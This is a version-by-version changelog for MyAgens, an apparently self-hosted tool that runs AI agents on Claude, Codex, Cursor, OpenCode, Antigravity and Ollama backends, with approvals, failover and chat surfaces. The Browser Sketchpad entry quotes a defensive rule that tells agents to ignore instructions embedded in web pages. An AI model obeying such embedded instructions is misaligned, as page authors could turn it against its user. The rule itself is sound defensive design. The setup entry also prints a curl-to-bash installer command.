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What's new, changed, and fixed in each version of MyAgens.

v0.7.32 new
Added
  • Agent backends are discoverable from Telegram's /model command. Atlas and every Lead bot now show all available runtimes—including Claude, Codex, Grok, Antigravity (agy-cli), Cursor, OpenCode and local Ollama—alongside the existing Claude and provider-model choices. Leads can switch their own persisted backend/model independently, and a backend change clears incompatible conversation resume state before the next message.
  • Claude subscription login can be repaired from Telegram without invoking an LLM. /claude_login (with /claude-login as a typed alias) launches claude auth login --claudeai directly on the host, extracts the browser authorization URL, and keeps that local terminal session alive until sign-in completes. It reports success back to Telegram, prevents concurrent login attempts, supports /claude_login cancel, and times out safely after ten minutes.
v0.7.22 new
Added
  • Codex API key for usage-based billing: the Codex backend can use an OpenAI Platform API key instead of a ChatGPT subscription login. Set it in Settings when the AI backend is Codex (stored in the vault), or via CODEX_API_KEY in .env / PUT /api/agent with codexApiKey. Every agent on codex-cli shares that key. Leave it empty to keep using codex login on the host. A host OPENAI_API_KEY (e.g. for voice) is no longer passed into codex runs, so it cannot silently switch billing.
  • OpenCode as an agent backend: an individual Lead/worker (or Atlas himself) can run on OpenCode's CLI (opencode) alongside Grok, Codex, Antigravity and Cursor. It brings every model your OpenCode install can run (provider/model ids, listed by Fetch) through OpenCode's own agentic CLI, with its tool belt, rather than a reimplemented tool loop. Switch a chat with /model opencode-cli (or opencode-cli:anthropic/claude-sonnet-4-5), or pick OpenCode (CLI) from the "AI backend" selector in Settings/Workers. Like Codex and Cursor it reports live text, tool calls and real token usage, and is a full MyAgens agent: memory, kanban, crew, skills, send_file and connectors via the shared CLI bridge, persona/work.md in the prompt, and Approve/Deny for OpenCode's own tools via an in-process plugin (OpenCode has no shell-command PreToolUse hook). Config is injected per turn through OPENCODE_CONFIG_CONTENT and OPENCODE_CONFIG_DIR, so your ~/.config/opencode and project opencode.json are never written. Conversations resume across turns via OpenCode's session id. Still missing versus Claude: external process MCP connectors (Unreal, Unity, Browser Sketchpad).
v0.7.12 fixed
Fixed
  • Silent Claude CLI crashes recover more reliably. The headless claude CLI sometimes exits with code 1 and writes nothing at all — no assistant text, no stderr — which made the turn evaporate from the host's point of view. Retries now back off before respawning (rapid-fire almost never helped), the empty-stderr exit path is a typed error so it is not mislabelled as a usage limit, and after retries are exhausted MyAgens can fail the turn over once to a different agent backend when one is configured. A provider-only swap is deliberately skipped here, since that would re-run the same crashing CLI. (1642c59)
  • Panel npm ci works again under npm 10. The ejs override that removed a vulnerable service-worker build chain was nested under a package name npm 10 ignores as an override path; CI (Node 20's npm 10) then recomputed the old tree and failed. The pin is top-level now, which both npm 10 and npm 11 honour. (02a74a2)
v0.7.01 new · 3 changed · 1 fixed · 1 security
Added
  • Usage limits for the backends you actually use. The Usage view used to speak only about Claude. It now shows a card per backend whose limits MyAgens can read, and it works out which those are for your machine: a Codex card appears once codex has run here, showing how much of your ChatGPT allowance it has spent, which window that belongs to, when it resets, your plan and any credit balance. Nothing appears for a backend you have never used, so a Claude-only install looks exactly as it did before. The Codex numbers cost nothing to fetch, since codex already records the server's own rate-limit figures in its session transcripts, so there is no extra login and no API call. The flip side is that they are as recent as your last codex turn rather than live, and the card says when they were taken instead of pretending otherwise. Each card can be switched off in Settings → Plan and budget, under "Usage limits on the dashboard". Detected backends start switched on, and a backend with no data here is listed but greyed out, so an empty dashboard explains itself. /usage in Telegram and !usage in Slack list the same limits as the panel, and honour the same switches. Cursor and Antigravity are not included, because neither one leaves its quota anywhere readable: Cursor keeps those numbers behind its dashboard, and Antigravity fetches them but never writes them down. For those two, the per-agent token and cost breakdown further down the same view remains the only picture of spend.
Changed
  • Failover reads the limits of whichever backend Atlas actually runs on. The proactive "switch before you hit the wall" check only ever looked at Claude usage, so an Atlas running on Codex had no early switch at all and waited for a hard failure. It now reads the primary's own utilisation, so a codex-primary setup switches away on its own numbers, exactly as a Claude one does. Backends that publish nothing readable behave as before, failing over reactively. Failover also stops walking into a wall: when the target backend's own figures say it is spent, MyAgens stays on the primary and reports the real limit error instead of switching to something that cannot answer either, and skips the doomed retry rather than spending a minute on it. Because Codex figures are only as fresh as its last turn, a stale reading never blocks a switch, so an unused fallback is still tried.
  • Telegram is optional now. MyAgens started life as a Telegram bot, so a Telegram bot token and a user ID were required to start at all, even for people who only ever wanted the web panel. They are not any more. The panel, Telegram, and Slack are three interchangeable front ends, and you need any one of them. A panel-only install is a first-class setup: the Chat view drives Atlas directly, with the same shared session (working directory, autonomy level, always-allow presets, conversation history), the same tool approvals, and the same clarifying questions you would get in a chat app. Startup now refuses only when nothing is configured, and tells you the three ways to fix it. It also catches a half-configured Telegram, a token with an empty allow-list or an allow-list with no token, which used to boot into a bot that could never answer anyone. The first-run wizard has a Skip Telegram button next to the existing Skip for Slack, and its Telegram step now says plainly that the web panel is included either way. The panel's Setup view shows which ways in you actually have.
  • Background alerts reach whichever surfaces you run. Heartbeat breaches, finished and failed tasks, agent reports, inbox pings, "a new version is available", and the remote-access password all used to be sent by Telegram and only by Telegram, which meant a Slack user never saw them and a panel-only user could not have existed. They now go to one place that fans out to every live surface: a Telegram DM, a Slack DM, an in-panel toast, and a browser push, plus the log always. Telegram messages stay in each recipient's own language and keep their inline buttons (the task Retry button, the update Accept/Reject pair). The same is true of the work behind those alerts: schedules, the heartbeat, recurring cards, delegated-card outcomes and update notices used to exist only when a Telegram bot did, so skipping Telegram would have quietly switched off half the product. They are started once at boot regardless of surface.
Fixed
  • A blank SLACK_ALLOWED_USER_IDS= line in .env killed startup with a confusing "List must contain at least one valid id". An empty list now means "Slack not configured", the same as leaving the line out.
Security
  • Dependencies audit clean. Patched a set of high-severity advisories across both dependency trees, including an authorization-bypass and path-traversal pair in the panel's static file server (@fastify/static), and DoS advisories in transitive HTTP-routing and URI-parsing packages. The build-tooling chain behind the panel's service worker has no fixed upstream release, so its vulnerable transitive dependency is pinned out via an override instead.
v0.6.141 new · 1 fixed
Added
  • Slack surface for Atlas. A second direct-message chat surface alongside Telegram. When SLACK_BOT_TOKEN, SLACK_APP_TOKEN, and SLACK_ALLOWED_USER_IDS are configured, Atlas connects to Slack in Socket Mode. Allowed users can chat with Atlas via direct messages, receiving live streamed replies, Block Kit tool-approval buttons tied to the shared approval queue, and Block Kit question prompts when Atlas asks a clarifying question. A prompt starts its own message rather than editing the one Atlas is streaming into, so the conversation reads top to bottom. Chat commands come along too: !help, !ping, !status, !new, !stop, !pwd, !cd, !mode, !lang, !allow, !disallow, !allowed, !usage. They use ! because Slack refuses to deliver a /command the app has not declared, so !stop works with no Slack setup at all. Declare the slash commands on your Slack app and /stop starts working too. Setting Slack up no longer means editing .env by hand. The first-run wizard has an optional Slack step, and the panel has Settings → Slack. Both hand you the app manifest to paste, check each token against Slack before saving anything (so a swapped bot/app token is caught immediately instead of at the next boot), and find your member ID by watching for a direct message rather than making you dig it out of your Slack profile. Tokens saved from the panel go into the vault, and saving takes effect straight away, with no restart. Existing SLACK_* variables in .env keep working and are used whenever nothing is set in the panel. Anything Atlas asks for can also be answered by typing: a question by its option number, its option text, or free text, and an approval by replying yes, no, or always (add all to settle a whole batch). That matters because the buttons only reach the bot when the Slack app has Interactivity enabled. Before, a question nobody could click left the turn blocked and every further message bouncing off a bare "I'm busy". Now the busy notice says what Atlas is waiting on, and !stop cancels the pending question or approval as well as aborting the turn.
Fixed
  • A failed update told you nothing. Accepting an update from Telegram (or running /update now, /restore confirm, or the reload button) printed "Reloading…" and then, if the update actually failed, went silent forever. A success was fine, since the restart itself is the signal and the bot announces the new version when it comes back, but a failure stops before the restart and left the old bot running with nothing to say. Failures are now always reported, and quote the last lines of the update script so you can see why without going to the logs. The "back online" confirmation also no longer gets discarded when an update takes longer than 30 minutes, which a dependency install plus a rebuild can easily do on a small machine.
v0.6.135 new
Added
  • The Cursor backend is a full MyAgens agent now, not a bare Cursor one. Same three things the Codex and Antigravity backends gained: your tools (memory, kanban, skills, crew messaging, send_file and every enabled connector, under the same names Claude uses), your agent (persona, work.md, known directories, the crew roster, worker identity and the memories recalled for the message), and your approvals (below Full autonomy, risky calls stop for Approve/Deny, per-command "always allow git" grants included, and a refusal reaches the model as a failed call with your reason). Live tool status and real token usage, which this backend already reported, are unchanged. Cursor reads that configuration from one place only: the project you are working in. So a hook and an MCP entry are written into the project's .cursor/ folder for the duration of a turn, merged into whatever is already there, and put back byte for byte afterwards, including after a crash or a kill. Two agents working in the same project share one install and the last one out restores it. If you would rather MyAgens never touched the folder, the new MyAgens tools and approvals in Cursor checkbox (Settings and the Worker form, visible when the backend is Cursor) turns it off per agent and runs the plain CLI. Still missing versus Claude: the connectors that run as their own process (Unreal Engine, Unity, Browser Sketchpad).
  • The Codex backend is a full MyAgens agent now, not a bare Codex one. Running a chat, Lead or worker on codex used to mean losing everything that makes an agent yours. The same three things the Antigravity backend gained are in:
  • Your tools. Memory, the kanban board, skills, crew messaging, send_file and every enabled connector are republished to Codex under the same names Claude uses, so an "always allow" preset you granted on Claude means the same thing here.
  • Your agent. Persona, work.md, known directories, the crew roster, worker identity and the memories recalled for the message all reach the run, so it answers as Atlas (or as the Lead you set up), in your language and to your conventions. The heavy part is sent once per conversation and refreshed when it changes, not re-sent every turn.
  • Your approvals. Below Full autonomy, risky calls stop for Approve/Deny exactly like Claude's — including per-command "always allow git" grants — and a file-creating patch is told apart from an edit or a delete, so a delete always asks under its own name. A refusal reaches the model as a failed tool call with your reason, and if the bot can't be asked, the call is blocked rather than run unsupervised. Live tool status and real token usage, which this backend already reported, are unchanged. It runs with a MyAgens-owned Codex configuration so nothing is written to your ~/.codex setup and your own codex sessions are untouched — the one visible consequence is that your ~/.codex/config.toml model no longer applies to MyAgens runs, so the Model field is now available for Codex in Settings and the Worker form (empty = the CLI's default). Conversations recorded before this release start a fresh thread on their next turn. Still missing versus Claude: the connectors that run as their own process (Unreal Engine, Unity, Browser Sketchpad).
v0.6.124 new · 1 fixed
Added
  • The Antigravity backend is a full MyAgens agent now, not a bare Gemini one. Running a chat, Lead or worker on agy used to mean losing everything that makes an agent yours: no MCP tools, no persona or work.md, no tool visibility. All three are in:
  • Your tools. Memory, the kanban board, skills, crew messaging, send_file and every enabled connector are republished to Antigravity under the same names Claude uses, so an "always allow" preset you granted on Claude means the same thing here.
  • Your agent. Persona, work.md, known directories, the crew roster, worker identity and the memories recalled for the message all reach the run, so it answers as Atlas (or as the Lead you set up), in your language and to your conventions. The heavy part is sent once per conversation and refreshed when it changes, not re-sent every turn.
  • Your approvals. Tool calls stream to the chat as 🔧 run_command … while they happen, and below Full autonomy the risky ones stop for Approve/Deny exactly like Claude's — including per-command "always allow git" grants. A refusal reaches the model as a failed tool call with your reason, and if the bot can't be asked, the call is blocked rather than run unsupervised. All of it is scoped to MyAgens runs: your own agy sessions are untouched, and nothing is written to ~/.gemini/config. Still missing versus Claude: token and cost accounting (the CLI reports none) and the connectors that run as their own process (Unreal Engine, Unity, Browser Sketchpad) — Antigravity's own browser tools cover the last one.
Fixed
  • A Lead's own Telegram bot now uses that Lead's persona and language. Both were configurable in the panel but ignored on that one path: the Lead answered from Atlas's personality with its role bolted on underneath, while the same Lead in panel chat or a delegated run identified as itself. It is now the same agent wherever you reach it.
v0.6.111 new
Added
  • Cursor as a sixth agent backend: an individual Lead/worker (or Atlas himself) can now run on Cursor's CLI (cursor-agent) alongside the Grok, Codex and Antigravity backends. It brings every model your Cursor account can run (Composer, GPT, Claude and Grok tiers) through Cursor's own agentic CLI, with its tool belt and sandboxing, rather than a reimplemented tool loop. Switch a chat with /model cursor-cli (or cursor-cli:<model id>), or pick Cursor (CLI) from the "AI backend" selector in Settings/Workers, where the Model field stays visible with a Fetch button listing your account's model ids (leave it empty for Auto), backed by a new GET /api/integrations/cursor/models route. It also works as a fallback backend, so an agent can fail over to Cursor when its primary hits a usage limit. Unlike the Grok and Antigravity backends, this one reports live text, tool calls and real token usage, so approvals-style tool activity and per-agent cost tracking work as they do on Claude. Conversations resume across turns via Cursor's session id. Print-mode caveat: cursor-agent auto-approves its own tools, so below Full autonomy the run is confined to Cursor's sandbox, while Full autonomy lifts the gates entirely.
v0.6.101 new · 1 changed
Added
  • Claude Opus 5 everywhere a model is picked: it heads the /model shortcut grid in Telegram, the model suggestions in Settings, the Worker form and the add-agent wizard, and the first-run setup wizard's Opus option (browser and CLI/PowerShell installers alike). Opus 4.8 stays selectable as the previous generation.
Changed
  • The default model is now claude-opus-5 (was claude-opus-4-8) for fresh installs and for any deployment that never pinned CLAUDE_MODEL. Existing .env and panel model overrides are untouched.
v0.6.91 new
Added
  • Google Antigravity as a fifth agent backend: an individual Lead/worker (or Atlas himself) can now run on Google's Antigravity CLI (agy) — Gemini 3.5 Flash / 3.1 Pro tiers, plus its hosted Claude and GPT-OSS options — alongside the existing Grok and Codex CLI backends. Like those, it wraps the provider's own agentic CLI (file edits, terminal, browser, sandboxing) rather than reimplementing a tool loop, and the CLI manages its own Google sign-in. Switch a chat with /model agy-cli (or agy-cli:<model label>), or pick Antigravity (agy) from the "AI backend" selector in Settings/Workers — there the Model field stays visible with a Fetch button listing the exact labels the installed CLI accepts (agy models; leave empty for its default), backed by a new GET /api/integrations/agy/models route. It also works as a fallback backend, so an agent can fail over to Antigravity when its primary hits a usage limit. Conversations resume across turns via agy's conversation id (a stale id self-heals — agy starts fresh and the new id is picked up automatically), and the session cwd is always passed as the agy workspace. Print-mode caveats: no tool-call visibility or token usage in its output, and agy auto-approves its tools non-interactively — below Full autonomy the run is confined with agy's --sandbox (terminal restricted to the workspace), while Full autonomy lifts the gates entirely.
v0.6.82 new · 3 changed · 2 fixed
Added
  • /context and /compact from Telegram — context-window parity with the Claude app, framed around cost: /context reports how full the window is against the 200k premium-pricing cliff (a bar, the tokens used, and free space) — because with the 1M-context beta, cost, not capacity, is what bites: Anthropic's long-context pricing (~2× input) kicks in above 200k tokens. /compact summarises the conversation to shrink the context — fired natively into the persistent TUI in Tmux mode, or routed through the normal turn pipeline in SDK mode. A one-shot nudge warns when a turn crosses the cost cliff (a yellow "approaching 200k" heads-up and a red "premium pricing active" alert), resetting once the context drops back under so it fires at most once per fill-up. Both commands appear in the Telegram command menu and /help. Tunable via CONTEXT_WINDOW_TOKENS (real window, set 1000000 for the 1M beta), CONTEXT_PREMIUM_CLIFF_TOKENS (default 200k), and CONTEXT_WARN_TOKENS (default 180k; 0 disables). (9b01341)
  • Stale prompt-cache guard: return to a large conversation after the prompt cache has gone cold and the whole prefix is re-cached at the write rate — a real one-time hit on a 100k+ context. When the last context was ≥ CACHE_RECACHE_WARN_TOKENS (default 50k) and the chat has been idle past CACHE_TTL_MS (default 1 hour, matching Claude Code's extended cache), the bot holds your message and offers Continue vs Start fresh before paying to reload — auto-continuing after 15s since continuing is non-destructive. Wired into every prompt path (typed, voice, photo, document); set CACHE_RECACHE_WARN_TOKENS=0 to disable. (9b01341)
Changed
  • Tmux session names now carry a per-install id (myagens-<agent>-<id>), so two MyAgens checkouts on one host — e.g. a local clone and a server clone — can't collide on the same session name. Stopped legacy myagens-<agent> instances migrate to the new scheme on boot (never a live one, so a running TUI is never orphaned). (9b01341)
  • Terminal cinema view is easier to focus on: the fullscreen overlay is now opaque with a blurred backdrop (instead of see-through) and taller by default, and the embedded viewer in Settings gets more height. (9b01341)
  • Toggling Tmux mode off tears down the persistent instance (main agent and workers) instead of leaving it running/adoptable, and unchecking Tmux mode in the panel now also clears the Remote Control sub-toggle so a dangling remoteControl=true isn't saved. (9b01341)
Fixed
  • Tmux Remote Control could trap every turn on the "Resume session" picker: a persistent instance spawned with --remote-control (or a bare --resume) landed on the CLI's interactive resume picker, which reads as a settled screen — so pasted prompts went into its search box and no transcript ever bound, surfacing as "turn ran but its transcript could not be captured." Both the spawn-ready wait and boot-time adoption now detect the picker and select the session to continue, landing at the real input box. (9b01341)
  • Context readout/warning now use the final API call's prompt size, not the sum of every call in a multi-tool turn (which overcounted and could show >100% of the window). (9b01341)
v0.6.72 new · 1 changed
Added
  • Tmux mode — persistent Claude instances per agent: opt Atlas or any worker/Lead into hosting its conversation in one long-lived Claude Code TUI inside a named tmux session (myagens-<agent>), instead of a fresh headless run per message. Replies are captured by tailing the CLI's own session transcript (the structured JSONL under ~/.claude/projects/) — streamed live into Telegram/panel chat with tool-call events and real token usage, nothing typed into the conversation to fetch them; the transcript binds only to a user message that exactly equals the just-sent prompt, so a concurrent run in the same folder can never be mistaken for the agent's session. The conversation survives bot restarts (live sessions are re-adopted on boot; respawns resume the same local session id), /new resets it (the panel chat's clear button too), and /status shows the session, attach command, and mirror URL — the attach/mirror notice itself is sent once per (re)spawn, not on every reply. Watch or take over from any terminal (tmux attach), from a live viewer in the panel — embedded in Settings, one click away via a Terminal button on each tmux-mode agent's card in the Agents view, and expandable into a large centered cinema view sized so the full 220-column pane fits (Esc or a backdrop click closes it; Esc stays with the TUI while "Take control" is on) — or, with the Remote Control sub-toggle, from claude.ai/code and the Claude mobile app. Other agents can observe and manage instances through new tmux_* MCP tools (tmux_list_instances/tmux_peek auto-allowed; tmux_send/tmux_start/tmux_stop/tmux_restart approval-gated), and the panel gains GET /api/agent-instances plus start/stop/restart routes. Requires Full autonomy (the TUI runs with bypassed permissions) and tmux on the host — the installer now installs tmux on macOS/Linux, and without it the toggle greys out with an "ask your agent to install it" hint while turns quietly stay on the normal SDK path. Delegated task cards, council votes, and scheduled worker runs always stay on the SDK so approvals, abortability, and timeouts keep working. TMUX_TURN_TIMEOUT_MS caps a single TUI turn (default 10 minutes).
  • Main agent pinned in the Agents view: Atlas now sits above the crew as its own card — avatar, model/autonomy/tmux badges, Telegram and web-chat links — with an Edit button that jumps to its Settings page.
Changed
  • Remote Control is now a sub-toggle of Tmux mode: the 0.6.6 per-agent Remote Control toggle passed --remote-control to the headless SDK runner, where the flag never actually connects (RC only works in the interactive TUI) — and spawning a fresh RC session per turn would spam the claude.ai session list. RC now launches the agent's persistent instance with --remote-control, one durable claude.ai session per agent, resumed across restarts via a defensive resume ladder (--resume <local session id> → --resume <rc session id> → fresh spawn with a notice; deliberately no --continue, which could resume an unrelated headless run's conversation from the same folder). The panel checkbox is disabled until Tmux mode is on, and a new /rc [on|off] Telegram command reports the mirror URL and offers an inline instance restart to apply changes.
v0.6.64 new · 4 changed · 1 fixed
Added
  • Run any agent entirely on a local Ollama model: a fourth agent backend, Ollama (local chat), talks straight to a local Ollama server's chat API instead of driving the Claude CLI, so a small local model (14-24B) that could never prefill the CLI's ~30k-token system prompt stays fast and fully Anthropic-independent. It hands the model a tiny hand-built prompt (under 2k tokens) plus a single Bash tool gated through the normal approval flow (up to eight tool rounds, auto-degrading to plain chat for models without function calling), and keeps its own per-session history on disk. Pick it per agent from the panel's "AI backend" selector and set that agent's model to an installed model name (ollama list); tune it with OLLAMA_BASE_URL / OLLAMA_MODEL / OLLAMA_NUM_CTX / OLLAMA_KEEP_ALIVE, which it reads directly and never lets a configured cloud provider redirect off-host. (3340556)
  • Per-agent model fallback across backends: fallback is no longer limited to repointing Claude at a second provider — an agent's fallback target can now be a whole different backend (fallbackBackendId = Ollama, Grok CLI, or Codex CLI). Every worker and Lead carries its own fallbackBackendId/fallbackProviderId/fallbackModel, so each fails over independently of Atlas. On top of the existing proactive switch (background turns move to the fallback once the cached usage probe crosses the threshold), a new error-driven one-shot failover retries a single turn on the fallback the moment it hits a usage or rate-limit error mid-flight — interactive turns included — and notifies the chat. A cross-backend failover starts a fresh conversation, since a Claude resume token means nothing to another backend. (3340556)
  • Per-agent system-prompt slimming: each agent (Atlas and every worker/Lead) gets a four-checkbox "System prompt" control to drop sections from the prompt append — work.md, the persona block, known paths, and memory recall (excluding memory skips recall entirely). It trims only our append, never the Claude Code preset itself, so the main win is smaller or local models where a large work.md costs input tokens on every turn. Surfaced in the panel Settings → Agent Identity and the Worker edit form. (3340556, 9ee46ec)
  • "Back online" Telegram confirmation after updates: an update, restore, /reload, or self-update used to end with a silent restart — you were told a new version was ready, but never that it landed. The update runner now leaves a restart marker on disk before restarting; on boot the fresh process finds it and DMs you "Update successful: v0.6.5 → v0.6.6, back online" (plus a browser push), closing the loop the new-version notice opened. A stale marker (a run that never restarted) is ignored after 30 minutes, and a failed run clears it, so an unrelated restart can't announce a success that never happened. Manual scripts/update.sh runs write the same marker.
Changed
  • Relicensed to GNU GPLv3: MyAgens moves from AGPLv3-plus-commercial to a single GPL-3.0 license — free and open-source with no seat limits, no telemetry, and no commercial tier. The copyleft terms keep any distributed fork open under the same license. (8c6de11)
  • White-label branding is unlocked for everyone: in the same spirit as the GPL move, the panel's Whitelabel settings (product/agent name, panel title, logo, favicon, accent colour, email footer) now apply as soon as you save them. The BRANDING_UNLOCKED env gate is gone — a draft saved on an older version takes effect after updating.
  • Remote Control toggle per agent: enable Claude Code Remote Control for Atlas (Settings → AI) or any worker/Lead (edit form) and that agent's turns can be watched and steered live from claude.ai/code or the Claude mobile app, appearing under the agent's own name while a turn runs. Off by default, Claude backend only; needs the installed claude CLI and a Claude subscription sign-in. Follows whoever runs the work — a delegated card under a Lead uses the Lead's toggle, one running as Atlas uses the main agent's.
  • Custom panel themes, hand-written or AI-drafted: the Whitelabel card gains a Custom CSS drop-in that is injected into the panel as a stylesheet — override the theme's CSS variables (--accent, --page, --surface, --fg, …) for a fully re-skinned panel. Describe the look you want in plain language ("warm sunset oranges on a deep brown background") and a one-shot Haiku pass drafts light + dark theme CSS into the editor for review; nothing applies until you save. A new Reset to defaults button wipes every branding override, and the accent-colour override now restyles everything (it previously missed the gradients and logo that read the raw --accent variable).
Fixed
  • A hung agent backend could leave a chat stuck "busy" forever: the SDK stream had no inactivity guard, so a wedged CLI subprocess never released the session's busy flag and the chat could not start another turn. A new turn stall watchdog, wired centrally into the backend registry, aborts a turn after TURN_STALL_TIMEOUT_MS (default 30 minutes; 0 disables) of complete backend silence — no streamed text, tool calls, or permission activity — and returns a friendly error; while a tool call is in flight the allowance extends by the task-run timeout. The heartbeat also gains a long-busy-chat signal that nudges you to /stop the stuck chat. (3340556)
v0.6.52 new · 1 changed · 5 fixed
Added
  • Browser-based first-run setup wizard: curl -fsSL https://myagens.com/install.sh | bash -s -- --browser (and MYAGENS_SETUP="browser" on Windows) installs prerequisites, clones, and builds, then boots the app in a loopback-only, single-use setup mode that serves a guided browser wizard instead of asking terminal questions. The wizard proves the bot token against getMe, auto-detects your owner id by long-polling getUpdates for whoever presses START (confirmed by a DM), and detects/drives Claude auth (claude setup-token) or validates an API key — writing a 0600 .env and handing back to the installer to install and start the service, so the wizard's success page signs you in within seconds. Available on Linux, macOS, and Windows. (e18854b)
  • Sonnet 5 is the default model in the installers: the CLI and Windows first-run wizards now default the agent to claude-sonnet-5, and the Claude connect step more clearly distinguishes signing in with a Claude subscription from pasting an API key. (f057e5c, c65cc71, a3006f5)
Changed
  • Upgraded to TypeScript 7. (3b93212)
Fixed
  • Setup wizard ignores ambient ANTHROPIC_BASE_URL/ANTHROPIC_AUTH_TOKEN that would otherwise hijack the agent's auth during setup. (c32ccfd)
  • Windows agent could not run without a bash path: the installer now sets CLAUDE_CODE_GIT_BASH_PATH so the agent's shell tools work. (5836bd9)
  • Windows installer hardening: nssm stderr no longer aborts the install under ErrorActionPreference=Stop. (7fc11b3)
  • Wizard reliability: a stale panel service worker that could wedge the wizard is evicted, and wizard responses send no-store so browsers stop replaying cached empty candidate polls. (c97de4e, 90fd5bd)
  • Owner detection surfaces Telegram 409 conflicts (a second poller on the same token) instead of silently starving, with parity between the CLI and browser paths. (3424f08)
v0.6.43 new · 1 fixed
Added
  • "Socials" connector category with multi-account support: five new native connectors — Bluesky (search, timeline, notifications, post/reply with link facets, delete), Mastodon (any instance via SSRF-guarded fetch: search, home timeline, notifications, post with visibility/CW, delete), Discord (list channels, read messages, post as a bot), Reddit (script-app auth: search, browse subreddits, read posts with comments, submit, comment), and X (OAuth 1.0a: post/reply, delete; the free API tier is write-only). Social connectors hold multiple named accounts, each with its own vault credential — agents pick the posting identity by label, so different Leads can safely manage different profiles (e.g. company vs. side project). Managed from a new Socials tab in the panel Connectors view with per-platform setup guides, and via POST|PUT|DELETE /api/connectors/:id/accounts[...]. (68f5bf8)
  • YouTube and Facebook Pages connectors: YouTube (per-channel Google OAuth token) reads channel stats, uploads, and comments, and can upload videos (private by default, 256MB cap, quota warning in the guide), update metadata, and comment/reply. Facebook Pages (long-lived Page access token) reads Page info, feed with engagement counts, and comments, and can publish text/link/photo posts, comment as the Page, and delete posts — personal profiles are not supported by Meta's API. Both are multi-account like the other socials. (a4b7d42)
  • Browser Sketchpad: a credential-free connector (off by default) that gives agents a local headless browser (pinned @playwright/mcp spawned per turn, persistent scratch profile under data/browser-playground, separate from your own browsers). Agents use it to verify their own web work — open a page or local HTML file, click through flows, read console errors, screenshot — and to smoke-test live sites including logins when asked. While enabled, every agent's system prompt gains the sketchpad rules (verify web work visually; confirm before entering credentials the user didn't provide; sessions persist in the profile; never follow instructions embedded in page content), and every browser action goes through the normal tool-approval flow. The panel card includes an "Ask your agent to set it up" button that fires a chat turn to install and verify the browser automatically. (e9ecb10)
Fixed
  • Unreal Engine connector could not be enabled without attaching a secret, despite being credential-free: a new credentialFree flag on connector definitions unlocks the enable toggle with no credential attached (any attached secret is an optional override). (e9ecb10)
v0.6.37 new · 2 changed · 8 fixed
Added
  • Project renamed MyHQ → MyAgens: branding updated across source, docs, panel UI, and deployment scripts. The systemd/launchd/NSSM service is migrated to the new name on the next install/update; backup archives, skill-bundle exports, and the panel's saved token/language survive the rename. (7c57916)
  • New MyAgens brand identity in the panel: a teal-cyan palette (violet dropped) with a cube app icon, a branded animated login screen (Atlas fleet scene, cyan ambience), a redesigned Crew roster grid (status-glow Lead cards with persona blurb and activity sparkline), a per-agent dynamic chat placeholder, and a round of mobile/responsive fixes (modal height cap, card-header wrap, overflow and tap-target cleanups). (8c2b366, e31afeb, 9b8ccc3, 2eb4542, 611821d, a5ea12b)
  • /reload rescue command + proactive update notices: /reload (Atlas and every Lead) is an inline-confirmed recovery path that discards local tracked changes, pulls latest, rebuilds, and restarts — a direct command handler, so it works regardless of chat autonomy mode. A new update watcher polls the existing update-status cache (no extra git fetches) and DMs the president on a detected version bump with Accept (runs /reload) / Later buttons, re-notifying only on the next new version; opt out with the updateNotifyOptOut setting (panel Settings toggle). (ca0b170)
  • Redesigned Easy setup wizard: goal-example chips become an icon+label preset grid (Server Monitor, Daily Digest, Code Review, Writer, Finance, DevOps, Full Stack, Web Design, Health Coach, Nutrition), each prefilling a translated starter goal; Context/cwd/schedule/crew move behind a collapsed "More options" disclosure so the first screen is just presets → goal → Generate. Config generation now runs on claude-sonnet-5 with a high thinking budget (via a new optional maxThinkingTokens on RunOptions) when on the default Anthropic cloud path, falling back to the main agent's own model/env for local/proxy providers. (81cea4a)
  • One-click voice provider presets: Groq and Voxtral (Mistral) are selectable as one-click STT/TTS provider presets in Settings → Voice, alongside the existing OpenAI/xAI options. (9bb9713, 12edc04)
  • Lead /cd and /pwd: Lead bots can now change and show their working directory, previously an Atlas-only capability. (b8d52d7)
  • Optional myagens hosts entry at install: the Linux/macOS/Windows installers offer (default Y, permission-gated, idempotent) to add a myagens → 127.0.0.1 hosts line so the panel is reachable at http://myagens; skips silently without root/admin, and uninstallers remove only the installer-tagged line. (0319b59)
Changed
  • Telegraf switched to a hardened fork: points at SHA-pinned gyorgysh/telegraf-hardened for native fetch and a maintained codebase, and enables in-loop 409 retryOnConflict on the main and Lead pollers so a second poller (usually our own predecessor draining after a restart) is ridden out instead of tearing the poll loop down. Drops the now-obsolete patch-package timeout patch. (386f3fb)
  • New workers/Leads default to standard autonomy, not full: the panel add form, the autonomous-run fallback for an unset autonomy, and the API view all previously defaulted to full (bypassPermissions) — a newly added Lead should not get unrestricted host access by default. full stays opt-in, aligning workers with Atlas's existing standard default. (829e2bc)
Fixed
  • Panel AskUserQuestion did nothing in per-agent chat: chatting with an individual worker/Lead had no AskUserQuestion interception in its canUseTool, so the SDK's built-in prompt resolved immediately with an empty answer. A new AgentAskManager mirrors questions into the shared ask queue so they render in the Command Center's AsksBar and resolve through /api/asks/resolve; asks now carry an agentId and render only in that agent's own pane, so questions from different agents no longer collide in one inbox. (b61d1c3, ad7bb21)
  • crew_report(toPresident) from a Lead never reached the president distinctly: it re-sent the same text into the Lead's own chat via the Lead's own token, indistinguishable from the Lead just continuing to talk. A new atlasNotify path sends via Atlas's own bot token to the same numeric chat id, prefixed with the reporting Lead's name. (0b475fe)
  • Leads silently denied every risky tool on standard/supervised autonomy: canUseTool only checked AUTO_ALLOWED_TOOLS with no approval path, so Bash/Write/Edit were refused outright instead of prompting. Lead bots now wire their own PermissionManager (scoped by lead id) so standard auto-allows previously-approved tools/commands and prompts for the rest, and supervised always prompts — mirroring the main bot. (0b475fe)
  • Panel autonomy pill had no effect on the live session: the Supervised/Standard/Full pill wrote to mainSettings.autonomy, which only seeds brand-new sessions and never touched the shared Telegram-mirrored session bot.ts actually reads — picking "Full" left the live session on "standard" underneath, so risky tools still hit an approval prompt that could silently auto-deny on timeout. GET/PUT /api/chat now carry the session's real autonomy and the pill reads/writes it directly. (7e4fcd0)
  • Stale-session recovery extended to autonomous and delegated runs: scheduled/heartbeat turns (autonomous:true) were explicitly excluded from the "No conversation found" auto-retry and failed with a raw CLI error; Kanban task delegation had no stale-session handling at all. Both now clear the invalid token and retry once as a fresh conversation, the same pattern already used interactively. (bbf4cb1)
  • Working directory and Telegram-liveness recovery: cwdGuard falls back to the default workdir when a session's/worker's saved cwd no longer exists on disk, instead of every turn dying with a raw spawn ENOENT; Telegraf's internal debug logging is piped into the app logger and a getMe() liveness heartbeat alerts allowed users when the long-poll connection looks dead (Telegraf retries silently), with the client-side getUpdates timeout shortened from 500s to 60s. (b8d52d7)
